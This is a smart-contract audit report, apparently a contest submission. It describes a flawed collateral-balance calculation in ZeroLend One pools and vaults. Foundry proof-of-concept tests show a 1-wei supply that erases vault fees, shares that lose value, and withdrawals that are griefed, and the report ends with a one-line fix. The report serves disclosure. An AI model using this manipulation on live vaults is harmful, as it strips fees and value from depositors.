Innocent Chartreuse Parrot

High

# Faulty collateral balance calculation undervalues a position's collateral balance

## Summary
Faulty collateral balance calculation undervalues a position's collateral balance

## Vulnerability Detail
A position's up to date collateral balance is calculated as follows:

[PositionBalanceConfiguration::getSupplyBalance](https://github.com/sherlock-audit/2024-06-new-scope/blob/main/zerolend-one/contracts/core/pool/configuration/PositionBalanceConfiguration.sol#L126-L129)
```solidity
  function getSupplyBalance(DataTypes.PositionBalance storage self, uint256 index) public view returns (uint256 supply) {
    uint256 increase = self.supplyShares.rayMul(index) - self.supplyShares.rayMul(self.lastSupplyLiquidtyIndex);
    return self.supplyShares + increase;
  }
```

As shown above, the collateral balance (which should be denominated in assets) is valued as the `shares` plus the increase in `assets` (interest). This calculation fails to return the appropriate collateral balance when the exchange ratio for `shares/assets` is no longer 1:1, i.e. the `liquidityIndex` is above `1`. Here is a simple example:

```python
index = 2
supplied = 10
shares = 10 / 2 = 5
lastSupplyLiquidityIndex = 2

getSupplyBalance = shares + ((shares * index) - (shares * lastSupplyLiquidityIndex)) = 5
actualCollateralBalance = supplied = 10
```

Additionally, notice that when the position's `lastSupplyLiquidtyIndex` is kept up to date the `getSupplyBalance` function will ignore any accrued interest since it will evaluate the position's collateral balance as only `supplyShares` amount in assets.

This incorrect calculation allows a bad actor to effectively "erase" all accumulated interest in curated vaults. This can occur due to the fact that a vault evaluates its `totalAssets` by querying its collateral balance for the pool via the faulty function:

[CuratedVault::totalAssets](https://github.com/sherlock-audit/2024-06-new-scope/blob/main/zerolend-one/contracts/core/vaults/CuratedVault.sol#L368-L370)
```solidity
  function totalAssets() public view override returns (uint256 assets) {
    for (uint256 i; i < withdrawQueue.length; ++i) {
      assets += withdrawQueue[i].getBalanceByPosition(asset(), positionId); // @audit: calls `getSupplyBalance`
```

[PoolGetters::getBalanceByPosition](https://github.com/sherlock-audit/2024-06-new-scope/blob/main/zerolend-one/contracts/core/pool/PoolGetters.sol#L47-L48)
```solidity
  function getBalanceByPosition(address asset, bytes32 positionId) external view returns (uint256 balance) {
    return _balances[asset][positionId].getSupplyBalance(_reserves[asset].liquidityIndex);
```

When interest accrues in the pool, it will be accounted for in the vault by the difference in the vault's `totalAssets` (collateral balance for the vault's position) before the interest and after the interest is accrued:

[CuratedVaultGetters::_accruedFeeShares](https://github.com/sherlock-audit/2024-06-new-scope/blob/main/zerolend-one/contracts/core/vaults/CuratedVaultGetters.sol#L185-L194)
```solidity
  function _accruedFeeShares() internal view returns (uint256 feeShares, uint256 newTotalAssets) {
    newTotalAssets = totalAssets();


    uint256 totalInterest = newTotalAssets.zeroFloorSub(lastTotalAssets); 
    if (totalInterest != 0 && fee != 0) {
      // It is acknowledged that `feeAssets` may be rounded down to 0 if `totalInterest * fee < WAD`.
      uint256 feeAssets = totalInterest.mulDiv(fee, 1e18);
      // The fee assets is subtracted from the total assets in this calculation to compensate for the fact
      // that total assets is already increased by the total interest (including the fee assets).
      feeShares = _convertToSharesWithTotals(feeAssets, totalSupply(), newTotalAssets - feeAssets, MathUpgradeable.Rounding.Down);
```

However, if the vault position's `lastSupplyLiquidityIndex` is kept up to date after the interest accrual, then this effectively erases interest from the vault by keeping the `totalAssets_before_interest` the same as `totalAssets_after_interest`. A bad actor can accomplish this by supplying a small amount (1 wei) to the vault's position in the specified pool and update its `lastSupplyLiquidityIndex`. Therefore, virtually no interest will be accounted for in the vault and thus no fee shares will be minted for the vault's `feeRecipient`.

Moreover, when the `liquidityIndex` is above `1` the vault's `totalAssets` will immediately be undervalued since `getSupplyBalance` will return the `supplyShares` which will be less than the actual assets supplied. The result is that user's who supply into these vaults will have their shares immediately lose value:

[CuratedVault::redeem](https://github.com/sherlock-audit/2024-06-new-scope/blob/main/zerolend-one/contracts/core/vaults/CuratedVault.sol#L356-L360)
```solidity
  function redeem(uint256 shares, address receiver, address owner) public override returns (uint256 assets) {
    uint256 newTotalAssets = _accrueFee(); // @audit: totalAssets undervalued


    // Do not call expensive `maxRedeem` and optimistically redeem shares.
    assets = _convertToAssetsWithTotals(shares, totalSupply(), newTotalAssets, MathUpgradeable.Rounding.Down); // @audit: assets undervalued 
```

Furthermore, when users supply and withdraw directly via the `Pool` contract, a max withdrawal is capped at the return value of the `getSupplyBalance`, i.e. `shares_amount + increase`. This results in users being required to perform multiple `max` withdrawals in order to withdraw all of their assets:

[SupplyLogic::executeWithdraw](https://github.com/sherlock-audit/2024-06-new-scope/blob/main/zerolend-one/contracts/core/pool/logic/SupplyLogic.sol#L118-L146)
```solidity
    uint256 balance = balances[params.asset][params.position].getSupplyBalance(cache.nextLiquidityIndex);


    // repay with max amount should clear off all debt
    if (params.amount == type(uint256).max) params.amount = balance; // @audit: withdrawal capped at `shares_amount + increase`
...
    // Burn debt. Which is burn supply, update total supply and send tokens to the user
    burnt.shares = balances[params.asset][params.position].withdrawCollateral(totalSupplies, params.amount, cache.nextLiquidityIndex);
    IERC20(params.asset).safeTransfer(params.destination, params.amount);
```

## Proof of Concept

Modify the following lines in `ERC4626Test.sol` and run tests with `forge test --mc ERC4626Test --mt test_JCN -vvv`:

**Below tests showcase how: 1. A bad actor can cause a vault to not accumulate any fees. 2. Vaults' `totalAssets` are undervalued, resulting in user's shares immediately becoming undervalued.**

```diff
diff --git a/./test/forge/core/vaults/ERC4626Test.sol b/./test/forge/core/vaults/ERC4626Test.sol
index a23b097..0c381ed 100644
--- a/./test/forge/core/vaults/ERC4626Test.sol
+++ b/./test/forge/core/vaults/ERC4626Test.sol
@@ -388,4 +388,160 @@ contract ERC4626Test is IntegrationVaultTest, IFlashLoanSimpleReceiver {
     assertEq(vault.maxWithdraw(onBehalf), 0);
     return true;
   }
+
+  function test_JCN_NoFeesAccrued() public {
+    _setCap(allMarkets[0], 1000 ether);
+
+    // set vault fee and pool state
+    vm.prank(owner);
+    vault.setFee(0.5e18);
+
+    IPool[] memory supplyQueue = new IPool[](1);
+    supplyQueue[0] = allMarkets[0];
+
+    vm.prank(allocator);
+    vault.setSupplyQueue(supplyQueue);
+
+    loanToken.mint(supplier, 1 ether);
+    collateralToken.mint(borrower, 2 ether);
+
+    vm.prank(supplier);
+    allMarkets[0].supplySimple(address(loanToken), supplier, 1 ether, 0);
+
+    vm.startPrank(borrower);
+    allMarkets[0].supplySimple(address(collateralToken), borrower, 2 ether, 0);
+    allMarkets[0].borrowSimple(address(loanToken), borrower, 1 ether, 0);
+    vm.stopPrank();
+
+    loanToken.mint(supplier, 1 ether);
+
+    // assets deposited into vault
+    vm.prank(supplier);
+    vault.deposit(1 ether, onBehalf);
+
+    uint256 totalAssetsBeforeInterest = vault.totalAssets();
+
+    // pool and vault accumulate interest
+    vm.warp(block.timestamp + 10 days);
+    allMarkets[0].forceUpdateReserve(address(loanToken));
+
+    uint256 totalAssetsAfterInterest = vault.totalAssets();
+    assertGt(totalAssetsAfterInterest, totalAssetsBeforeInterest);
+
+    emit log_named_uint("total assets before interest", totalAssetsBeforeInterest);
+    emit log_named_uint("total assets after interest", totalAssetsAfterInterest);
+
+    // --- ideal scenario: interest accrued in vault with no manipulation, fee shares credited --- //
+    uint256 snapshot = vm.snapshot();
+
+    // interest accrued on vault - for simplicity accrued via permissioned function
+    vm.prank(owner);
+    vault.setFee(0);
+
+    uint256 expectedFeeShares = vault.balanceOf(vault.feeRecipient());
+    assertGt(expectedFeeShares, 0);
+
+    emit log_named_uint("fee recipient shares accrued - without manipulation", expectedFeeShares);
+
+    // --- revert to prev state - bad actor effectively "erases" accumulated interest from vault's perspective --- //
+    vm.revertTo(snapshot);
+    address user = address(0x69420);
+    _mintAndApprove(user, loanToken, 1e18, address(allMarkets[0]));
+    vm.startPrank(user);
+    allMarkets[0].supplySimple(address(loanToken), address(vault), 1, 0); // supply 1 wei to update position's lastSupplyLiquidityIndex
+    allMarkets[0].forceUpdateReserve(address(loanToken));
+    vm.stopPrank();
+
+    uint256 newTotalAssets = vault.totalAssets();
+    assertLt(newTotalAssets, totalAssetsAfterInterest);
+
+    emit log_named_uint("total assets after manipulation", newTotalAssets);
+
+    // interest accrued on vault - for simplicity accrued via permissioned function
+    vm.prank(owner);
+    vault.setFee(0);
+
+    uint256 actualFeeShares = vault.balanceOf(vault.feeRecipient());
+    assertEq(actualFeeShares, 0);
+
+    emit log_named_uint("fee recipient shares accrued - with manipulation", actualFeeShares);
+  }
+
+  function test_JCN_WithdrawLoseFunds() public {
+    _setCap(allMarkets[0], 1000 ether);
+
+    // set vault fee and pool state
+    vm.prank(owner);
+    vault.setFee(0.5e18);
+
+    IPool[] memory supplyQueue = new IPool[](1);
+    supplyQueue[0] = allMarkets[0];
+
+    vm.prank(allocator);
+    vault.setSupplyQueue(supplyQueue);
+
+    loanToken.mint(supplier, 100 ether);
+    collateralToken.mint(borrower, 200 ether);
+
+    vm.prank(supplier);
+    allMarkets[0].supplySimple(address(loanToken), supplier, 100 ether, 0);
+
+    vm.startPrank(borrower);
+    allMarkets[0].supplySimple(address(collateralToken), borrower, 200 ether, 0);
+    allMarkets[0].borrowSimple(address(loanToken), borrower, 100 ether, 0);
+    vm.stopPrank();
+
+    uint256 supplied = 10 ether;
+    loanToken.mint(supplier, supplied);
+
+    // --- ideal state: user deposits when liquidity index is 1, i.e. assets supplied == shares minted --- //
+    uint256 snapshot = vm.snapshot();
+
+    // assets deposited into vault
+    vm.prank(supplier);
+    uint256 sharesExpected = vault.deposit(10 ether, supplier);
+
+    // since liquidity index is 1 and no interest accrued, total assets is same as supplied
+    uint256 totalAssetsExpected = vault.totalAssets();
+    assertEq(totalAssetsExpected, supplied);
+
+    emit log_named_uint("total assets in ideal state", totalAssetsExpected);
+
+    // all shares redeemed from vault
+    vm.prank(supplier);
+    uint256 assetsExpected = vault.redeem(sharesExpected, supplier, supplier);
+
+    emit log_named_uint("shares minted in ideal state", sharesExpected);
+    emit log_named_uint("assets withdrawn in ideal state", assetsExpected);
+
+    // --- error-prone state: liquidityIndex above 1 --- //
+    vm.revertTo(snapshot);
+    // accrue interest
+    vm.warp(block.timestamp + 10 days);
+    assertGt(allMarkets[0].getReserveNormalizedIncome(address(loanToken)), 1e27);
+
+    // assets deposited into vault
+    vm.prank(supplier);
+    uint256 sharesActual = vault.deposit(10 ether, supplier);
+
+    // since liquidity index is above 1, totalAssets is immediately undervalued
+    uint256 totalAssetsActual = vault.totalAssets();
+    assertLt(totalAssetsActual, supplied);
+
+    emit log_named_uint("total assets in error-prone state", totalAssetsActual);
+
+    // all shares redeemed from vault
+    vm.prank(supplier);
+    uint256 assetsActual = vault.redeem(sharesActual, supplier, supplier);
+
+    emit log_named_uint("shares minted in error-prone state", sharesActual);
+    emit log_named_uint("assets withdrawn in error-prone state", assetsActual);
+
+    // in ideal scenario all supplied assets are correctly withdrawn (no interest)
+    assertEq(supplied, assetsExpected);
+
+    // in error-prone scenario the user immediately loses assets upon withdraw (all shares redeemed for less assets)
+    assertLt(assetsActual, assetsExpected);
+  }
 }
```

Modify the following lines in `PoolWithdrawTests.t.sol` and run with `forge test --mc PoolWithdrawTests --mt testFullWithdrawalGriefed -vvv`:

**Below test showcases how a user is required to perform multiple `max` withdrawals in order to fully withdraw all their assets from pools.**

```diff
diff --git a/test/forge/core/pool/PoolWithdrawTests.t.sol b/test/forge/core/pool/PoolWithdrawTests.t.sol
index a728971..ad36699 100644
--- a/test/forge/core/pool/PoolWithdrawTests.t.sol
+++ b/test/forge/core/pool/PoolWithdrawTests.t.sol
@@ -2,7 +2,7 @@
 pragma solidity 0.8.19;

 import {MintableERC20} from '../../../../contracts/mocks/MintableERC20.sol';
-import {PoolEventsLib, PoolSetup} from './PoolSetup.sol';
+import {PoolEventsLib, PoolSetup, DataTypes} from './PoolSetup.sol';

 contract PoolWithdrawTests is PoolSetup {
   function setUp() public {
@@ -86,4 +86,50 @@ contract PoolWithdrawTests is PoolSetup {
     assertEq(pool.getTotalSupplyRaw(address(tokenA)).supplyShares, supplyAmount - withdrawAmount);
     assertEq(pool.getBalanceRaw(address(tokenA), owner, index).supplyShares, supplyAmount - withdrawAmount);
   }
+
+  function testFullWithdrawalGriefed() public {
+    // beginning state: liquidity index is > 1
+    address user = address(0x69420);
+    _mintAndApprove(user, tokenA, 2000e18, address(pool));
+    vm.startPrank(user);
+
+    pool.supplySimple(address(tokenA), user, 2000e18, 0);
+    pool.borrowSimple(address(tokenA), user, 800e18, 0);
+    vm.stopPrank();
+    vm.warp(block.timestamp + 10 days);
+    assertGt(pool.getReserveNormalizedIncome(address(tokenA)), 1e27);
+
+    uint256 supplyAmount = 50 ether;
+    uint256 mintAmount = 150 ether;
+    uint256 index = 1;
+
+    vm.startPrank(owner);
+    tokenA.mint(owner, mintAmount);
+    tokenA.approve(address(pool), supplyAmount);
+
+    pool.supplySimple(address(tokenA), owner, supplyAmount, index);
+
+    DataTypes.SharesType memory burnt;
+    uint256 numTransactions;
+    uint256 assetsWithdrawn;
+    uint256 supplyShares;
+
+    // need to perform multiple `max` withdrawals in order to fully withdraw assets
+    for (uint256 i; i < 100; i++) {
+        burnt = pool.withdrawSimple(address(tokenA), owner, type(uint256).max, index);
+        assetsWithdrawn += burnt.assets;
+        numTransactions += 1;
+
+        supplyShares = pool.getBalanceRaw(address(tokenA), owner, index).supplyShares;
+
+        emit log_named_uint("remaining supply shares", supplyShares);
+        emit log_named_uint("assets withdrawn", burnt.assets);
+
+        if (supplyShares == 0) break;
+    }
+    vm.stopPrank();
+    emit log_named_uint("Number of txs required to fully withdraw assets", numTransactions);
+    emit log_named_uint("Total assets withdrawn", assetsWithdrawn);
+  }
 }
```

## Impact
This bug results in multiple impacts. They are listed below from highest impact to lowest impact:

1. A bad actor can prevent vaults from earning any fees
2. Exchange rate in vaults is immediately undervalued, resulting in user shares immediately losing value. 
3. Full withdrawals are griefed and require a user to submit multiple transactions in order to withdraw all their assets

All these impacts are guaranteed to occur when the `liquidityIndex` is above 1.

## Code Snippet
https://github.com/sherlock-audit/2024-06-new-scope/blob/main/zerolend-one/contracts/core/pool/configuration/PositionBalanceConfiguration.sol#L126-L129

## Tool used

Manual Review

## Recommendation
I would recommend calculating a position's up to date collateral balance the same way it is calculated in [`ReserveSuppliesConfiguration.sol`](https://github.com/sherlock-audit/2024-06-new-scope/blob/main/zerolend-one/contracts/core/pool/configuration/ReserveSuppliesConfiguration.sol#L33-L35): 

```solidity
supply = self.supplyShares.rayMul(index);
```